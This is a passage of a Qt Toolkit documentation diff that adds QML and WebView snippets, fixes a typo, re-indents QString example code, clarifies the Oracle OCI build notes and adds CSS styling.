+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+  width: 150; height: 250
+
+  Rectangle {
+      id: stopLight
+      x: 25; y: 15; width: 100; height: 100
+  }
+  Rectangle {
+      id: goLight
+      x: 25; y: 135; width: 100; height: 100
+  }
+
+  states: [
+    State {
+      name: "stop"
+      PropertyChanges { target: stopLight; color: "red" }
+      PropertyChanges { target: goLight; color: "black" }
+    },
+    State {
+      name: "go"
+      PropertyChanges { target: stopLight; color: "black" }
+      PropertyChanges { target: goLight; color: "green" }
+    }
+  ]
+
+  state: "stop"
+
+  MouseArea {
+      anchors.fill: parent
+      onClicked: parent.state == "stop" ?
+                 parent.state = "go" : parent.state = "stop"
+  }
+
+  //! [list of transitions]
+  transitions: [
+    Transition {
+        from: "stop"; to: "go"
+        PropertyAnimation { target: stopLight
+                            properties: "color"; duration: 1000 }
+    },
+    Transition {
+        from: "go"; to: "stop"
+        PropertyAnimation { target: goLight
+                            properties: "color"; duration: 1000 }
+    } ]
+  //! [list of transitions]
+}
diff --git a/doc/src/snippets/declarative/webview/webview.qml b/doc/src/snippets/declarative/webview/webview.qml
new file mode 100644
index 0000000..c1cef33
--- /dev/null
+++ b/doc/src/snippets/declarative/webview/webview.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**   * Redistributions of source code must retain the above copyright
+**     notice, this list of conditions and the following disclaimer.
+**   * Redistributions in binary form must reproduce the above copyright
+**     notice, this list of conditions and the following disclaimer in
+**     the documentation and/or other materials provided with the
+**     distribution.
+**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+**     the names of its contributors may be used to endorse or promote
+**     products derived from this software without specific prior written
+**     permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtWebKit 1.0
+
+WebView {
+    url: "http://www.nokia.com"
+    preferredWidth: 490
+    preferredHeight: 400
+    scale: 0.5
+    smooth: false
+}
+//! [document]
diff --git a/doc/src/snippets/qabstractsliderisnippet.cpp b/doc/src/snippets/qabstractsliderisnippet.cpp
index 6b684e9..cb0f8cc 100644
--- a/doc/src/snippets/qabstractsliderisnippet.cpp
+++ b/doc/src/snippets/qabstractsliderisnippet.cpp
@@ -50,7 +50,7 @@ QAbstractSliderPrivate::~QAbstractSliderPrivate()
 {
 }
 
-oid QAbstractSlider::setRange(int min, int max)
+void QAbstractSlider::setRange(int min, int max)
 {
     Q_D(QAbstractSlider);
     int oldMin = d->minimum;
diff --git a/doc/src/snippets/qstring/main.cpp b/doc/src/snippets/qstring/main.cpp
index 9aac79d..bbc9e98 100644
--- a/doc/src/snippets/qstring/main.cpp
+++ b/doc/src/snippets/qstring/main.cpp
@@ -126,22 +126,22 @@ Widget::Widget(QWidget *parent)
 
 void Widget::constCharPointer()
 {
-//! [0]
+    //! [0]
     QString str = "Hello";
-//! [0]
+    //! [0]
 }
 
 void Widget::constCharArray()
 {
-//! [1]
+    //! [1]
     static const QChar data[4] = { 0x0055, 0x006e, 0x10e3, 0x03a3 };
     QString str(data, 4);
-//! [1]
+    //! [1]
 }
 
 void Widget::characterReference()
 {
-//! [2]
+    //! [2]
     QString str;
     str.resize(4);
 
@@ -149,46 +149,46 @@ void Widget::characterReference()
     str[1] = QChar('n');
     str[2] = QChar(0x10e3);
     str[3] = QChar(0x03a3);
-//! [2]
+    //! [2]
 }
 
 void Widget::atFunction()
 {
-//! [3]
+    //! [3]
     QString str;
 
     for (int i = 0; i < str.size(); ++i) {
         if (str.at(i) >= QChar('a') && str.at(i) <= QChar('f'))
             qDebug() << "Found character in range [a-f]";
     }
-//! [3]
+    //! [3]
 }
 
 void Widget::stringLiteral()
 {
-//! [4]
+    //! [4]
     QString str;
 
     if (str == "auto" || str == "extern"
             || str == "static" || str == "register") {
         // ...
     }
-//! [4]
+    //! [4]
 }
 
 void Widget::modify()
 {
-//! [5]
+    //! [5]
     QString str = "and";
     str.prepend("rock ");     // str == "rock and"
     str.append(" roll");        // str == "rock and roll"
     str.replace(5, 3, "&");   // str == "rock & roll"
-//! [5]
+    //! [5]
 }
 
 void Widget::index()
 {
-//! [6]
+    //! [6]
     QString str = "We must be <b>bold</b>, very <b>bold</b>";
     int j = 0;
 
@@ -196,25 +196,25 @@ void Widget::index()
         qDebug() << "Found <b> tag at index position" << j;
         ++j;
     }
-//! [6]
+    //! [6]
 }
 
 //! [7]
-    QString Widget::boolToString(bool b)
-    {
-        QString result;
-        if (b)
-            result = "True";
-        else
-            result = "False";
-        return result;
-    }
+QString Widget::boolToString(bool b)
+{
+    QString result;
+    if (b)
+        result = "True";
+    else
+        result = "False";
+    return result;
+}
 //! [7]
 
 
 void Widget::nullVsEmpty()
 {
-//! [8]
+    //! [8]
     QString().isNull();               // returns true
     QString().isEmpty();              // returns true
 
@@ -223,45 +223,45 @@ void Widget::nullVsEmpty()
 
     QString("abc").isNull();          // returns false
     QString("abc").isEmpty();         // returns false
-//! [8]
+    //! [8]
 }
 
 void Widget::appendFunction()
 {
-//! [9]
+    //! [9]
     QString x = "free";
     QString y = "dom";
 
     x.append(y);
     // x == "freedom"
-//! [9]
+    //! [9]
 
-//! [10]
+    //! [10]
     x.insert(x.size(), y);
-//! [10]
+    //! [10]
 }
 
 void Widget::argFunction()
 {
-//! [11]
+    //! [11]
     QString i;           // current file's number
     QString total;       // number of files to process
     QString fileName;    // current file's name
 
     QString status = QString("Processing file %1 of %2: %3")
                     .arg(i).arg(total).arg(fileName);
-//! [11]
+    //! [11]
 
-//! [12] //! [13]
+    //! [12] //! [13]
     QString str;
-//! [12]
+    //! [12]
     str = "%1 %2";
 
     str.arg("%1f", "Hello");        // returns "%1f Hello"
     str.arg("%1f").arg("Hello");    // returns "Hellof %2"
-//! [13]
+    //! [13]
 
-//! [14]
+    //! [14]
     str = QString("Decimal 63 is %1 in hexadecimal")
             .arg(63, 0, 16);
     // str == "Decimal 63 is 3f in hexadecimal"
@@ -272,16 +272,16 @@ void Widget::argFunction()
             .arg(12345)
             .arg(12345, 0, 16);
     // str == "12345 12,345 3039"
-//! [14]
+    //! [14]
 }
 
 void Widget::chopFunction()
 {
-//! [15]
+    //! [15]
     QString str("LOGOUT\r\n");
     str.chop(2);
     // str == "LOGOUT"
-//! [15]
+    //! [15]
 }
 
 void Widget::compareFunction()
@@ -293,251 +293,251 @@ void Widget::compareFunction()
 
 void Widget::compareSensitiveFunction()
 {
-//! [16]
+    //! [16]
     int x = QString::compare("aUtO", "AuTo", Qt::CaseInsensitive);  // x == 0
     int y = QString::compare("auto", "Car", Qt::CaseSensitive);     // y > 0
     int z = QString::compare("auto", "Car", Qt::CaseInsensitive);   // z < 0
-//! [16]
+    //! [16]
 }
 
 void Widget::containsFunction()
 {
-//! [17]
+    //! [17]
     QString str = "Peter Pan";
     str.contains("peter", Qt::CaseInsensitive);    // returns true
-//! [17]
+    //! [17]
 }
 
 void Widget::countFunction()
 {
-//! [18]
+    //! [18]
     QString str = "banana and panama";
     str.count(QRegExp("a[nm]a"));    // returns 4
-//! [18]
+    //! [18]
 }
 
 void Widget::dataFunction()
 {
-//! [19]
+    //! [19]
     QString str = "Hello world";
     QChar *data = str.data();
     while (!data->isNull()) {
         qDebug() << data->unicode();
         ++data;
     }
-//! [19]
+    //! [19]
 }
 
 void Widget::endsWithFunction()
 {
-//! [20]
+    //! [20]
     QString str = "Bananas";
     str.endsWith("anas");         // returns true
     str.endsWith("pple");         // returns false
-//! [20]
+    //! [20]
 }
 
 void Widget::fillFunction()
 {
-//! [21]
+    //! [21]
     QString str = "Berlin";
     str.fill('z');
     // str == "zzzzzz"
 
     str.fill('A', 2);
     // str == "AA"
-//! [21]
+    //! [21]
 }
 
 void Widget::fromRawDataFunction()
 {
-//! [22]
-     QRegExp pattern;
-     static const QChar unicode[] = {
-             0x005A, 0x007F, 0x00A4, 0x0060,
-             0x1009, 0x0020, 0x0020};
-     int size = sizeof(unicode) / sizeof(QChar);
+    //! [22]
+    QRegExp pattern;
+    static const QChar unicode[] = {
+            0x005A, 0x007F, 0x00A4, 0x0060,
+            0x1009, 0x0020, 0x0020};
+    int size = sizeof(unicode) / sizeof(QChar);
 
-     QString str = QString::fromRawData(unicode, size);
-     if (str.contains(QRegExp(pattern))) {
-         // ...
-//! [22] //! [23]
-     }
-//! [23]
+    QString str = QString::fromRawData(unicode, size);
+    if (str.contains(QRegExp(pattern))) {
+        // ...
+    //! [22] //! [23]
+    }
+    //! [23]
 }
 
 void Widget::indexOfFunction()
 {
-//! [24]
+    //! [24]
     QString x = "sticky question";
     QString y = "sti";
     x.indexOf(y);               // returns 0
     x.indexOf(y, 1);            // returns 10
     x.indexOf(y, 10);           // returns 10
     x.indexOf(y, 11);           // returns -1
-//! [24]
+    //! [24]
 }
 
 void Widget::firstIndexOfFunction()
 {
-//! [25]
+    //! [25]
     QString str = "the minimum";
     str.indexOf(QRegExp("m[aeiou]"), 0);       // returns 4
-//! [25]
+    //! [25]
 }
 
 void Widget::insertFunction()
 {
-//! [26]
+    //! [26]
     QString str = "Meal";
     str.insert(1, QString("ontr"));
     // str == "Montreal"
-//! [26]
+    //! [26]
 }
 
 void Widget::isEmptyFunction()
 {
-//! [27]
+    //! [27]
     QString().isEmpty();            // returns true
     QString("").isEmpty();          // returns true
     QString("x").isEmpty();         // returns false
     QString("abc").isEmpty();       // returns false
-//! [27]
+    //! [27]
 }
 
 void Widget::isNullFunction()
 {
-//! [28]
+    //! [28]
     QString().isNull();             // returns true
     QString("").isNull();           // returns false
     QString("abc").isNull();        // returns false
-//! [28]
+    //! [28]
 }
 
 void Widget::lastIndexOfFunction()
 {
-//! [29]
+    //! [29]
     QString x = "crazy azimuths";
     QString y = "az";
     x.lastIndexOf(y);           // returns 6
     x.lastIndexOf(y, 6);        // returns 6
     x.lastIndexOf(y, 5);        // returns 2
     x.lastIndexOf(y, 1);        // returns -1
-//! [29]
+    //! [29]
 
-//! [30]
+    //! [30]
     QString str = "the minimum";
     str.lastIndexOf(QRegExp("m[aeiou]"));      // returns 8
-//! [30]
+    //! [30]
 }
 
 void Widget::leftFunction()
 {
-//! [31]
+    //! [31]
     QString x = "Pineapple";
     QString y = x.left(4);      // y == "Pine"
-//! [31]
+    //! [31]
 }
 
 void Widget::leftJustifiedFunction()
 {
-//! [32]
+    //! [32]
     QString s = "apple";
     QString t = s.leftJustified(8, '.');    // t == "apple..."
-//! [32]
+    //! [32]
 
-//! [33]
+    //! [33]
     QString str = "Pineapple";
     str = str.leftJustified(5, '.', true);    // str == "Pinea"
-//! [33]
+    //! [33]
 }
 
 void Widget::midFunction()
 {
-//! [34]
+    //! [34]
     QString x = "Nine pineapples";
     QString y = x.mid(5, 4);            // y == "pine"
     QString z = x.mid(5);               // z == "pineapples"
-//! [34]
+    //! [34]
 }
 
 void Widget::numberFunction()
 {
-//! [35]
+    //! [35]
     long a = 63;
     QString s = QString::number(a, 16);             // s == "3f"
     QString t = QString::number(a, 16).toUpper();     // t == "3F"
-//! [35]
+    //! [35]
 }
 
 void Widget::prependFunction()
 {
-//! [36]
+    //! [36]
     QString x = "ship";
     QString y = "air";
     x.prepend(y);
     // x == "airship"
-//! [36]
+    //! [36]
 }
 
 void Widget::removeFunction()
 {
-//! [37]
+    //! [37]
     QString s = "Montreal";
     s.remove(1, 4);
     // s == "Meal"
-//! [37]
+    //! [37]
 
-//! [38]
+    //! [38]
     QString t = "Ali Baba";
     t.remove(QChar('a'), Qt::CaseInsensitive);
     // t == "li Bb"
-//! [38]
+    //! [38]
 
-//! [39]
+    //! [39]
     QString r = "Telephone";
     r.remove(QRegExp("[aeiou]."));
     // r == "The"
-//! [39]
+    //! [39]
 }
 
 void Widget::replaceFunction()
 {
-//! [40]
+    //! [40]
     QString x = "Say yes!";
     QString y = "no";
     x.replace(4, 3, y);
     // x == "Say no!"
-//! [40]
+    //! [40]
 
-//! [41]
+    //! [41]
     QString str = "colour behaviour flavour neighbour";
     str.replace(QString("ou"), QString("o"));
     // str == "color behavior flavor neighbor"
-//! [41]
+    //! [41]
 
-//! [42]
+    //! [42]
     QString s = "Banana";
     s.replace(QRegExp("a[mn]"), "ox");
     // s == "Boxoxa"
-//! [42]
+    //! [42]
 
-//! [43]
+    //! [43]
     QString t = "A <i>bon mot</i>.";
     t.replace(QRegExp("<i>([^<]*)</i>"), "\\emph{\\1}");
     // t == "A \\emph{bon mot}."
-//! [43]
+    //! [43]
 
-//! [86]
+    //! [86]
     QString equis = "xxxxxx";
     equis.replace("xx", "x");
     // equis == "xxx"    
-//! [86]
+    //! [86]
 }
 
 void Widget::reserveFunction()
 {
-//! [44]
+    //! [44]
     QString result;
     int maxSize;
     bool condition;
@@ -549,59 +549,59 @@ void Widget::reserveFunction()
         result.append(nextChar);
 
     result.squeeze();
-//! [44]
+    //! [44]
 }
 
 void Widget::resizeFunction()
 {
-//! [45]
+    //! [45]
     QString s = "Hello world";
     s.resize(5);
     // s == "Hello"
 
     s.resize(8);
     // s == "Hello???" (where ? stands for any character)
-//! [45]
+    //! [45]
 
-//! [46]
+    //! [46]
     QString t = "Hello";
     t += QString(10, 'X');
     // t == "HelloXXXXXXXXXX"
-//! [46]
+    //! [46]
 
-//! [47]
+    //! [47]
     QString r = "Hello";
     r = r.leftJustified(10, ' ');
     // r == "Hello     "
-//! [47]
+    //! [47]
 }
 
 void Widget::rightFunction()
 {
-//! [48]
+    //! [48]
     QString x = "Pineapple";
     QString y = x.right(5);      // y == "apple"
-//! [48]
+    //! [48]
 }
 
 void Widget::rightJustifiedFunction()
 {
-//! [49]
+    //! [49]
     QString s = "apple";
     QString t = s.rightJustified(8, '.');    // t == "...apple"
-//! [49]
+    //! [49]
 
-//! [50]
+    //! [50]
     QString str = "Pineapple";
     str = str.rightJustified(5, '.', true);    // str == "Pinea"
-//! [50]
+    //! [50]
 }
 
 void Widget::sectionFunction()
 {
-//! [51] //! [52]
+    //! [51] //! [52]
     QString str;
-//! [51]
+    //! [51]
     QString csv = "forename,middlename,surname,phone";
     QString path = "/usr/local/bin/myapp"; // First field is empty
     QString::SectionFlag flag = QString::SectionSkipEmpty;
@@ -610,83 +610,83 @@ void Widget::sectionFunction()
     str = csv.section(',', 2, 2);   // str == "surname"
     str = path.section('/', 3, 4);  // str == "bin/myapp"
     str = path.section('/', 3, 3, flag); // str == "myapp"
-//! [52]
+    //! [52]
 
-//! [53]
+    //! [53]
     str = csv.section(',', -3, -2);  // str == "middlename,surname"
     str = path.section('/', -1); // str == "myapp"
-//! [53]
+    //! [53]
 
-//! [54]
+    //! [54]
     QString data = "forename**middlename**surname**phone";
 
     str = data.section("**", 2, 2); // str == "surname"
     str = data.section("**", -3, -2); // str == "middlename**surname"
-//! [54]
+    //! [54]
 
-//! [55]
+    //! [55]
     QString line = "forename\tmiddlename  surname \t \t phone";
     QRegExp sep("\\s+");
     str = line.section(sep, 2, 2); // s == "surname"
     str = line.section(sep, -3, -2); // s == "middlename  surname"
-//! [55]
+    //! [55]
 }
 
 void Widget::setNumFunction()
 {
-//! [56]
+    //! [56]
     QString str;
     str.setNum(1234);       // str == "1234"
-//! [56]
+    //! [56]
 }
 
 void Widget::simplifiedFunction()
 {
-//! [57]
+    //! [57]
     QString str = "  lots\t of\nwhitespace\r\n ";
     str = str.simplified();
     // str == "lots of whitespace";
-//! [57]
+    //! [57]
 }
 
 void Widget::sizeFunction()
 {
-//! [58]
+    //! [58]
     QString str = "World";
     int n = str.size();         // n == 5
     str.data()[0];              // returns 'W'
     str.data()[4];              // returns 'd'
     str.data()[5];              // returns '\0'
-//! [58]
+    //! [58]
 }
 
 void Widget::splitFunction()
 {
-//! [59]
+    //! [59]
     QString str;
     QStringList list;
 
     str = "Some  text\n\twith  strange whitespace.";
     list = str.split(QRegExp("\\s+"));
     // list: [ "Some", "text", "with", "strange", "whitespace." ]
-//! [59]
+    //! [59]
 
-//! [60]
+    //! [60]
     str = "This time, a normal English sentence.";
     list = str.split(QRegExp("\\W+"), QString::SkipEmptyParts);
     // list: [ "This", "time", "a", "normal", "English", "sentence" ]
-//! [60]
+    //! [60]
 
-//! [61]
+    //! [61]
     str = "Now: this sentence fragment.";
     list = str.split(QRegExp("\\b"));
     // list: [ "", "Now", ": ", "this", " ", "sentence", " ", "fragment", "." ]
-//! [61]
+    //! [61]
 }
 
 void Widget::splitCaseSensitiveFunction()
 {
-//! [62]
+    //! [62]
     QString str = "a,,b,c";
 
     QStringList list1 = str.split(",");
@@ -694,241 +694,241 @@ void Widget::splitCaseSensitiveFunction()
 
     QStringList list2 = str.split(",", QString::SkipEmptyParts);
     // list2: [ "a", "b", "c" ]
-//! [62]
+    //! [62]
 }
 
 void Widget::sprintfFunction()
 {
-//! [63]
+    //! [63]
     size_t BufSize;
     char buf[BufSize];
 
     ::snprintf(buf, BufSize, "%lld", 123456789LL);
     QString str = QString::fromAscii(buf);
-//! [63]
+    //! [63]
 
-//! [64]
+    //! [64]
     QString result;
     QTextStream(&result) << "pi = " << 3.14;
     // result == "pi = 3.14"
-//! [64]
+    //! [64]
 }
 
 void Widget::startsWithFunction()
 {
-//! [65]
+    //! [65]
     QString str = "Bananas";
     str.startsWith("Ban");     // returns true
     str.startsWith("Car");     // returns false
-//! [65]
+    //! [65]
 }
 
 void Widget::toDoubleFunction()
 {
-//! [66]
+    //! [66]
     QString str = "1234.56";
     double val = str.toDouble();   // val == 1234.56
-//! [66]
+    //! [66]
 
-//! [67]
+    //! [67]
     bool ok;
     double d;
 
     d = QString( "1234.56e-02" ).toDouble(&ok); // ok == true, d == 12.3456
-//! [67]
+    //! [67]
 
-//! [68] //! [69]
+    //! [68] //! [69]
     QLocale::setDefault(QLocale::C);
     d = QString( "1234,56" ).toDouble(&ok); // ok == false
-//! [68]
+    //! [68]
     d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56
 
-//! [69] //! [70]
+    //! [69] //! [70]
     QLocale::setDefault(QLocale::German);
     d = QString( "1234,56" ).toDouble(&ok); // ok == true, d == 1234.56
     d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56
 
-//! [70]
+    //! [70]
     QLocale::setDefault(QLocale::C);
     d = QString( "1,234,567.89" ).toDouble(&ok); // ok == false
 }
 
 void Widget::toFloatFunction()
 {
-//! [71]
+    //! [71]
     QString str1 = "1234.56";
     str1.toFloat();             // returns 1234.56
 
     bool ok;
     QString str2 = "R2D2";
     str2.toFloat(&ok);          // returns 0.0, sets ok to false
-//! [71]
+    //! [71]
 }
 
 void Widget::toIntFunction()
 {
-//! [72]
+    //! [72]
     QString str = "FF";
     bool ok;
     int hex = str.toInt(&ok, 16);       // hex == 255, ok == true
     int dec = str.toInt(&ok, 10);       // dec == 0, ok == false
-//! [72]
+    //! [72]
 }
 
 void Widget::toLongFunction()
 {
-//! [73]
+    //! [73]
     QString str = "FF";
     bool ok;
 
     long hex = str.toLong(&ok, 16);     // hex == 255, ok == true
     long dec = str.toLong(&ok, 10);     // dec == 0, ok == false
-//! [73]
+    //! [73]
 }
 
 void Widget::toLongLongFunction()
 {
-//! [74]
+    //! [74]
     QString str = "FF";
     bool ok;
 
     qint64 hex = str.toLongLong(&ok, 16);      // hex == 255, ok == true
     qint64 dec = str.toLongLong(&ok, 10);      // dec == 0, ok == false
-//! [74]
+    //! [74]
 }
 
 void Widget::toLowerFunction()
 {
-//! [75]
+    //! [75]
     QString str = "Qt by NOKIA";
     str = str.toLower();        // str == "qt by nokia"
-//! [75]
+    //! [75]
 }
 
 void Widget::toShortFunction()
 {
-//! [76]
+    //! [76]
     QString str = "FF";
     bool ok;
 
     short hex = str.toShort(&ok, 16);   // hex == 255, ok == true
     short dec = str.toShort(&ok, 10);   // dec == 0, ok == false
-//! [76]
+    //! [76]
 }
 
 void Widget::toUIntFunction()
 {
-//! [77]
+    //! [77]
     QString str = "FF";
     bool ok;
 
     uint hex = str.toUInt(&ok, 16);     // hex == 255, ok == true
     uint dec = str.toUInt(&ok, 10);     // dec == 0, ok == false
-//! [77]
+    //! [77]
 }
 
 void Widget::toULongFunction()
 {
-//! [78]
+    //! [78]
     QString str = "FF";
     bool ok;
 
     ulong hex = str.toULong(&ok, 16);   // hex == 255, ok == true
     ulong dec = str.toULong(&ok, 10);   // dec == 0, ok == false
-//! [78]
+    //! [78]
 }
 
 void Widget::toULongLongFunction()
 {
-//! [79]
+    //! [79]
     QString str = "FF";
     bool ok;
 
     quint64 hex = str.toULongLong(&ok, 16);    // hex == 255, ok == true
     quint64 dec = str.toULongLong(&ok, 10);    // dec == 0, ok == false
-//! [79]
+    //! [79]
 }
 
 void Widget::toUShortFunction()
 {
-//! [80]
+    //! [80]
     QString str = "FF";
     bool ok;
 
     ushort hex = str.toUShort(&ok, 16);     // hex == 255, ok == true
     ushort dec = str.toUShort(&ok, 10);     // dec == 0, ok == false
-//! [80]
+    //! [80]
 }
 
 void Widget::toUpperFunction()
 {
-//! [81]
+    //! [81]
     QString str = "TeXt";
     str = str.toUpper();        // str == "TEXT"
-//! [81]
+    //! [81]
 }
 
 void Widget::trimmedFunction()
 {
-//! [82]
+    //! [82]
     QString str = "  lots\t of\nwhitespace\r\n ";
     str = str.trimmed();
     // str == "lots\t of\nwhitespace"
-//! [82]
+    //! [82]
 }
 
 void Widget::truncateFunction()
 {
-//! [83]
+    //! [83]
     QString str = "Vladivostok";
     str.truncate(4);
     // str == "Vlad"
-//! [83]
+    //! [83]
 }
 
 void Widget::plusEqualOperator()
 {
-//! [84]
+    //! [84]
     QString x = "free";
     QString y = "dom";
     x += y;
     // x == "freedom"
-//! [84]
+    //! [84]
 }
 
 void Widget::arrayOperator()
 {
-//! [85]
+    //! [85]
     QString str;
 
     if (str[0] == QChar('?'))
         str[0] = QChar('_');
-//! [85]
+    //! [85]
 }
 
 void Widget::midRefFunction()
 {
-//! [midRef]
+    //! [midRef]
     QString x = "Nine pineapples";
     QStringRef y = x.midRef(5, 4);      // y == "pine"
     QStringRef z = x.midRef(5);         // z == "pineapples"
-//! [midRef]
+    //! [midRef]
 }
 
 void Widget::leftRefFunction()
 {
-//! [leftRef]
+    //! [leftRef]
     QString x = "Pineapple";
     QStringRef y = x.leftRef(4);        // y == "Pine"
-//! [leftRef]
+    //! [leftRef]
 }
 
 void Widget::rightRefFunction()
 {
-//! [rightRef]
+    //! [rightRef]
     QString x = "Pineapple";
     QStringRef y = x.rightRef(5);       // y == "apple"
-//! [rightRef]
+    //! [rightRef]
 }
 
 
diff --git a/doc/src/sql-programming/sql-driver.qdoc b/doc/src/sql-programming/sql-driver.qdoc
index 1476491..a4bcb97 100644
--- a/doc/src/sql-programming/sql-driver.qdoc
+++ b/doc/src/sql-programming/sql-driver.qdoc
@@ -314,7 +314,9 @@
     \section3 How to Build the OCI Plugin on Windows
 
     Choosing the option "Programmer" in the Oracle Client Installer from
-    the Oracle Client Installation CD is sufficient to build the plugin.
+    the Oracle Client Installation CD is generally sufficient to build the
+    plugin.  For some versions of Oracle Client, you may also need to select
+    the "Call Interface (OCI)" option if it is available.
 
     Build the plugin as follows (here it is assumed that Oracle Client is
     installed in \c{C:\oracle}):
diff --git a/doc/src/template/style/narrow.css b/doc/src/template/style/narrow.css
index fbb0752..39b4740 100644
--- a/doc/src/template/style/narrow.css
+++ b/doc/src/template/style/narrow.css
@@ -135,7 +135,7 @@
     .creator .wrap
     {
         margin: 0px;
-		background:#FFFFFF;
+        background:#FFFFFF;
     }
     .narrow .wrap .toolbar
     {
@@ -170,7 +170,7 @@
     .narrow .wrap .breadcrumb ul li.last a {
       color: #363534;
     }
-    
+
     #narrowsearch {
       display: none;
     }
@@ -213,7 +213,7 @@
       width: 64%;
       padding-left: 0;
     }
-    
+
     .narrow .indexboxcont .sectionlist {
       width: 32.5%;
     }
@@ -253,7 +253,7 @@
     #narrowmenu li,
     #narrowmenu li ul {
       background-color: #fff;
-	  margin-top:-1px;
+      margin-top:-1px;
     }
 
     #narrowmenu li ul {
@@ -266,6 +266,6 @@
     }
 
     /* end narrow mode */
-	.creator #narrowsearch, .creator #narrowmenu{
-		display:none;
-	}
+    .creator #narrowsearch, .creator #narrowmenu{
+        display:none;
+    }
diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
new file mode 100644
index 0000000..4083a75
--- /dev/null
+++ b/doc/src/template/style/offline.css
@@ -0,0 +1,672 @@
+@media screen
+{
+
+/* basic elements */
+    html
+    {
+        color: #000000;
+        background: #FFFFFF;
+    }
+    table
+    {
+        border-collapse: collapse;
+        border-spacing: 0;
+    }
+    fieldset, img
+    {
+        border: 0;
+        max-width:100%;
+    }
+    address, caption, cite, code, dfn, em, strong, th, var, optgroup
+    {
+        font-style: inherit;
+        font-weight: inherit;
+    }
+    del, ins
+    {
+        text-decoration: none;
+    }
+    li
+    {
+        list-style: none;
+    }
+    ol li
+    {
+        list-style: decimal;
+    }
+    caption, th
+    {
+        text-align: left;
+    }
+    h1, h2, h3, h4, h5, h6
+    {
+        font-size: 100%;
+    }
+    q:before, q:after
+    {
+        content: '';
+    }
+    abbr, acronym
+    {
+        border: 0;
+        font-variant: normal;
+    }
+    sup, sub
+    {
+        vertical-align: baseline;
+    }
+    tt, .qmlreadonly span, .qmldefault span
+    {
+        word-spacing:0.5em;
+    }
+    legend
+    {
+        color: #000000;
+    }
+    strong
+    {
+        font-weight: bold;
+    }
+    em
+    {
+        font-style: italic;
+    }
+
+    body
+    {
+        margin-left: 0.5em;
+        margin-right: 0.5em;
+    }
+    a
+    {
+        color: #00732F;
+        text-decoration: none;
+    }
+    hr
+    {
+        background-color: #E6E6E6;
+        border: 1px solid #E6E6E6;
+        height: 1px;
+        width: 100%;
+        text-align: left;
+        margin: 1.5em 0 1.5em 0;
+    }
+
+    pre
+    {
+        border: 1px solid #DDDDDD;
+        -moz-border-radius: 0.7em 0.7em 0.7em 0.7em;
+        -webkit-border-radius: 0.7em 0.7em 0.7em 0.7em;
+        border-radius: 0.7em 0.7em 0.7em 0.7em;
+        margin: 0 1.5em 1em 1em;
+        padding: 1em 1em 1em 1em;
+        overflow-x: auto;
+    }
+    table, pre
+    {
+        -moz-border-radius: 0.7em 0.7em 0.7em 0.7em;
+        -webkit-border-radius: 0.7em 0.7em 0.7em 0.7em;
+        border-radius: 0.7em 0.7em 0.7em 0.7em;
+        background-color: #F6F6F6;
+        border: 1px solid #E6E6E6;
+        border-collapse: separate;
+        margin-bottom: 2.5em;
+    }
+    pre {
+        font-size: 90%;
+        display: block;
+        overflow:hidden;
+    }
+    thead
+    {
+        margin-top: 0.5em;
+        font-weight: bold
+    }
+    th
+    {
+        padding: 0.5em 1.5em 0.5em 1.5em;
+        background-color: #E1E1E1;
+        border-left: 1px solid #E6E6E6;
+    }
+    td
+    {
+        padding: 0.25em 1.5em 0.25em 2em;
+    }
+
+    td.rightAlign
+    {
+        padding: 0.25em 0.5em 0.25em 1em;
+    }
+    table tr.odd
+    {
+        border-left: 1px solid #E6E6E6;
+        background-color: #F6F6F6;
+        color: #66666E;
+    }
+    table tr.even
+    {
+        border-left: 1px solid #E6E6E6;
+        background-color: #ffffff;
+        color: #66666E;
+    }
+
+    div.float-left
+    {
+        float: left; margin-right: 2em
+    }
+    div.float-right
+    {
+        float: right; margin-left: 2em
+    }
+
+    span.comment
+    {
+        color: #008B00;
+    }
+    span.string, span.char
+    {
+        color: #000084;
+    }
+    span.number
+    {
+        color: #a46200;
+    }
+    span.operator
+    {
+        color: #202020;
+    }
+    span.keyword
+    {
+        color: #840000;
+    }
+    span.name
+    {
+        color: black
+    }
+    span.type
+    {
+        font-weight: bold
+    }
+    span.type a:visited
+    {
+        color: #0F5300;
+    }
+    span.preprocessor
+    {
+        color: #404040
+    }
+/* end basic elements */
+
+/* font style elements */
+    .heading
+    {
+        font-weight: bold;
+        font-size: 125%;
+    }
+    .subtitle
+    {
+        font-size: 110%
+    }
+    .small-subtitle
+    {
+        font-size: 100%
+    }
+    .red
+    {
+        color:red;
+    }
